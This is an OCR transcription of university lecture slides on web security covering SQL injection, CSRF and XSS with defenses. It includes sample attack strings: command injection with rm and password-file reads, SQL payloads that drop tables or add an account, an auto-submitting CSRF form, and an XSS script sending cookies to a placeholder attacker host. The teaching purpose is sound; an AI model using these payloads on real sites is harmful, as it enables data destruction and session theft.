Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Similar documents
Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Web Application Security

Web Application Security

NET 311 INFORMATION SECURITY

1. PASSWORD ATTACK 2. APPLICATION ATTACK

Web Application Security. * Original slides were prepared by John Mitchell

Information Security CS 526 Topic 11

Information Security CS 526 Topic 8

Computer Security CS 426 Lecture 41

Web Security: Web Application Security [continued]

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Lecture 6: Web Security CS /17/2017

WEB SECURITY: XSS & CSRF

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

P2_L12 Web Security Page 1

CS 142 Winter Session Management. Dan Boneh

Web basics: HTTP cookies

Web Security II. Slides from M. Hicks, University of Maryland

Web Security: Web Application Security [continued]

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Robust Defenses for Cross-Site Request Forgery

Computer and Network Security

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

CIS 4360 Secure Computer Systems XSS

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

Web Application Security. Philippe Bogaerts

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Robust Defenses for Cross-Site Request Forgery

CSCD 303 Essential Computer Security Fall 2018

Security for the Web. Thanks to Dave Levin for some slides

CSCD 303 Essential Computer Security Fall 2017

Web Security: XSS; Sessions

CIS 5373 Systems Security

CIS 551 / TCOM 401 Computer and Network Security. Spring 2008 Lecture 24

Common Websites Security Issues. Ziv Perry

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

CSCE 813 Internet Security Case Study II: XSS

Robust Defenses for Cross-Site Request Forgery Review

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Web Applica+on Security

CSC 482/582: Computer Security. Cross-Site Security

RKN 2015 Application Layer Short Summary

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Web Security: Cross-Site Attacks

Presented By Rick Deacon DEFCON 15 August 3-5, 2007

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Security for the Web. Thanks to Dave Levin for some slides

Hacking Intranet Websites from the Outside

XSS and CSRF Nov 6, 2018

Application vulnerabilities and defences

CS526: Information security

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Web Security, Part 2

Advanced Web Technology 10) XSS, CSRF and SQL Injection

The Hacker s Guide to XSS

Web Security: Vulnerabilities & Attacks

last time: command injection

PHP Security. Kevin Schroeder Zend Technologies. Copyright 2007, Zend Technologies Inc.

CSE 127 Computer Security

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Assignment 6: Web Security

Some Facts Web 2.0/Ajax Security

Cross-Site Scripting (XSS) Professor Larry Heimann Web Application Security Information Systems

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

s642 web security computer security adam everspaugh

Tutorial: Web Application Security

Project 2: Web Security

Web Application Security

Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

CS 161 Computer Security

CS 155 Project 2. Overview & Part A

Security. CSC309 TA: Sukwon Oh

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team

John Coggeshall Copyright 2006, Zend Technologies Inc.

Web Security. Course: EPL 682 Name: Savvas Savva

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

Ruby on Rails Secure Coding Recommendations

PROBLEMS IN PRACTICE: THE WEB MICHAEL ROITZSCH

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

Network Security - ISA 656 Web Security

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

CSC 405 Computer Security. Web Security

Chrome Extension Security Architecture

Web Attacks CMSC 414. September 25 & 27, 2017

Computer Forensics: Investigating Network Intrusions and Cyber Crime, 2nd Edition. Chapter 3 Investigating Web Attacks

WHY CSRF WORKS. Implicit authentication by Web browsers

Penetration Test Report

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Introduction to Ethical Hacking


Web Security Computer Security Peter Reiher December 9, 2014

Sichere Software vom Java-Entwickler

Web Security: Vulnerabilities & Attacks

Transcription:

Web Security Part 2 CS642: Computer Security Professor Ristenpart h9p://www.cs.wisc.edu/~rist/ rist at cs dot wisc dot edu Liberal borrowing from Mitchell, Boneh, Stanford CS 155 University of Wisconsin CS 642

MS11-083 Anyone see this news? Vulnerability The vulnerability presents itself in the specific scenario where an a9acker can send a large number of specially craued UDP packets to a random port that does not have a service listening. While processing these network packets it is observed that some used structures are referenced but not dereferenced properly. This unbalanced reference counwng could eventually lead to an integer overflow of the reference counter. From h9p://blogs.technet.com/b/srd/archive/2011/11/08/ assessing- the- exploitability- of- ms11-083.aspx

Announcements HW3 was posted earlier today "This ain't a day for qui_ng nothing, Governor Rick Perry, November 10, 2011

Web security part 2 SQL injecwon Cross- site scripwng a9acks Cross- site request forgery University of Wisconsin CS 642

Browser security model Should be safe to visit an a9acker website Should be safe to visit sites simultaneously Should be safe to delegate content

Data from aggregator and validator of NVD-reported vulnerabilities

Top vulnerabiliwes SQL injecwon insert malicious SQL commands to read / modify a database Cross- site request forgery (CSRF) site A uses credenwals for site B to do bad things Cross- site scripwng (XSS) site A sends vicwm client a script that abuses honest site B

Warmup: PHP command injecwon PHP command eval( cmd_str ) executes string cmd_str as PHP code h9p://example.com/calc.php $in = $_GET[ exp']; eval('$ans = '. $in. ';'); What can a9acker do? h9p://example.com/calc.php?exp= 11 ; system( rm * ) Encode as a URL

Warmup: PHP command injecwon $email = $_POST[ email ] $subject = $_POST[ subject ] system( mail $email s $subject < /tmp/joinmynetwork ) h9p://example.com/sendemail.php What can a9acker do? h9p://example.com/calc.php? email = aboutogetowned@ownage.com & subject= foo < /usr/passwd; ls Encode as a URL

Plenty of other common problems with PHP File handling example.com/servsideinclude.php?i=file.html Global variables example.com/checkcreds.php? user= bob ; $auth=1; More surf the web for examples

SQL Internet Basic SQL commands: SQL database SELECT Company, Country FROM Customers WHERE Country <> 'USA' DROP TABLE Customers more: h9p://www.w3schools.com/sql/sql_syntax.asp

SQL Internet PHP- based SQL: SQL database $recipient = $_POST[ recipient ]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db- >executequery($sql);

h9p://xkcd.com/327/

CardSystems breach 2005 ~43 million cards stolen No encrypwon of CCN s Visa/Mastercard stopped allowing them to process cards. They used a SQL injec*on a-ack, where a small snippet of code is inserted onto the database through the front end (browser page). Once inserted onto the server the code ran every four days. It gathered credit card data from the database, put it in a file (zipped to reduce size) and sent it to the hackers via FTP. From h9p://www.squidoo.com/ cardsystems- data- breach- case They got bought out by Pay by Touch in 2005 (probably cheap!) Pay By Touch shut down in 2008 (woops)

More important than CCN s: On June 27, 2011, Lady Gaga's website was hacked by a group of US cyber a9ackers called SwagSec and thousands of her fans personal details were stolen from her website. The hackers took a content database dump from www.ladygaga.co.uk and a secwon of email, first name, and last name records were accessed.[43] According to an Imperva blog about the incident, a SQL injec*on vulnerability for her website was recently posted on a hacker forum website, where a user revealed the vulnerability to the rest of the hacker community. While no financial records were compromised, the blog implies that Lady Gaga fans are most likely receiving fraudulent email messages offering exclusive Lady Gaga merchandise, but instead contain malware.[44] h9p://en.wikipedia.org/wiki/sql_injecwon_a9ack Many more examples

ASP example set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; What the developer expected to be sent to SQL: SELECT * FROM Users WHERE user='me AND pwd='1234'

set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; Input: user= OR 1=1 - - (URL encoded) - - tells SQL to ignore rest of line SELECT * FROM Users WHERE user= OR 1=1 - - AND Result: ok.eof false, so easy login

set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; Input: user= ; DROP TABLE Users (URL encoded) SELECT * FROM Users WHERE user= ; DROP TABLE Users - - Result: Bye- bye customer informawon

set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; Input: user= ; exec cmdshell net user badguy badpw /add SELECT * FROM Users WHERE user= ; exec Result: If SQL database running with correct permissions, then a9acker gets account on database server

PrevenWng SQL injecwon Don t build commands yourself Parameterized/prepared SQL commands Properly escape commands with / ASP 1.1 example SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbconnection); cmd.parameters.add("@user", Request[ user ] ); cmd.parameters.add("@pwd", Request[ pwd ] ); cmd.executereader();

Cross- site request forgery (CSRF) Server VicWm 4 1 establish session send forged request (w/ cookie) User VicWm 3 2 visit server (or iframe) receive malicious page A9ack Server

How CSRF works User s browser logged in to bank User s browser visits site containing: <form name=f acwon=h9p://bank.com/billpay.php> <input name=recipient value=badguy> </form> <script> document.f.submit(); </script> Browser sends Auth cookie to bank. Why? Cookie scoping rules

Form post with cookie Cookie: SessionID=523FA4cd2E User credentials

Login CSRF

CSRF Defenses Secret ValidaWon Token <input type=hidden value=23a3af01b> Referer ValidaWon Referer: http://www.facebook.com/ home.php Custom HTTP Header X- Requested- By: XMLHttpRequest

Secret validawon tokens Include field with large random value, HMAC of a hidden value Goal: A9acker can t forge token, server validates it Why can t another site read the token value?

Referrer validawon

Referrer validawon Check referrer: Referrer = bank.com is ok Referrer = a9acker.com is NOT ok Referrer =??? Lenient policy : allow if not present Strict policy : disallow if not present more secure, but kills funcwonality

Referrer validawon Referrer s ouen stripped, since they may leak informawon! HTTPS to HTTP referrer is stripped Clients may strip referrers Network stripping of referrers (by organizawon) Bugs in early browsers allowed Referrer spoofing

Custom headers XMLHTTPRequest Only for same origin Stricter policy than cookies Doesn t work across domains

Cross- site scripwng (XSS) Site A sends vicwm client a script that abuses honest site B Reflected a9acks (e.g., links on malicious web pages) Stored a9acks (e.g., Web forms with HTML)

Basic scenario: reflected XSS a9ack 2 5 1 visit web site receive malicious link send valuable data A9ack Server VicWm client 4 3 click on link echo user input VicWm Server

Example h-p://vic*m.com/search.php? term = apple <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term]?> :... </BODY> </HTML> http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script>

A9ack Server http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Link clicked <html> Results for <script> window.open(http://attacker.com?... document.cookie...) </script> </html> VicWm Server

Stored XSS A9ack Server 4 steal valuable data 1 User VicWm 3 2 request content receive malicious script Inject malicious script Server VicWm

but most of all, Samy is my hero MySpace allows HTML content from users Strips many dangerous tags, strips any occurrence of javascript CSS allows embedded javascript <div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')"> Samy Kamkar used this (with a few more tricks) to build javascript worm that spread through MySpace - Add message above to profile - Add worm to profile - Within 20 hours: one million users run payload

Defending against XSS Input validawon Never trust client- side data Only allow what you expect Remove/encode special characters (harder than it sounds) Output filtering / encoding Remove/encode special characters Allow only safe commands Client side defenses, HTTPOnly cookies, Taint mode (Perl), StaWc analysis of server code

Top vulnerabiliwes SQL injecwon insert malicious SQL commands to read / modify a database Cross- site request forgery (CSRF) site A uses credenwals for site B to do bad things Cross- site scripwng (XSS) site A sends vicwm client a script that abuses honest site B